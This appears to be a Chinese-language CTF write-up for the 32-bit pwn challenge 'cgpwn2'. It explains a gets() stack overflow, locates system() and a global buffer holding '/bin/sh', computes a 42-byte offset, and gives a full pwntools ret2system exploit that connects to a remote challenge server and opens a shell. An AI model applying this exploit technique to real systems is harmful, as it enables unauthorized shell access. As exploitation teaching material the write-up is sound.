0%

cgpwn2

题目描述:菜鸡认为自己需要一个字符串

0x01

checksec

image-20200702161347935

IDA

image-20200702161439856

运行效果

image-20200702161528808

0x02

我们看见main函数的伪代码中执行了hello函数,进一步观察hello函数

image-20200702161619241

gets

gets() 有一个非常大的缺陷,即它不检查预留存储区是否能够容纳实际输入的数据,换句话说,如果输入的字符数目大于数组的长度,gets()无法检测到这个问题,就会发生内存越界

1、程序中使用了gets(&s),可能存在栈溢出

2、fgets函数把数据写入name中,而name是一个全局变量地址是固定的

3、并且我们找到了一个system函数

image-20200702162911082

我们可以通过栈溢出,传入/bin/sh给system函数执行,就可以getshell了

现在我们要查看hello的函数栈空间布局计算偏移量

image-20200702163509611

gets(&s);,s的栈情况,我们要覆盖返回地址(0x26+4)就可以覆盖到返回地址了

system函数地址

image-20200702165131450

name地址

image-20200702165426810

最终:将返回地址覆盖为system函数地址,再利用name传入的/bin/sh字符串,传给system函数程序就会返回一个shell给我们

0x03

构造exp

偏移量是转为十进制38+4=42,还需要填充四个字节的数据给system函数当做返回地址,才能使程序正常运行,数据随意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = remote('220.249.52.133',55912)

p.recvuntil('please tell me your name')
p.sendline('/bin/sh')

system_addr = 0x08048420
name_addr = 0x0804A080
payload = 'a'*42+p32(system_addr)+'a'*4+p32(name_addr)

p.recvuntil('hello,you can leave some message here:')
p.sendline(payload)

p.interactive()

image-20200702165658674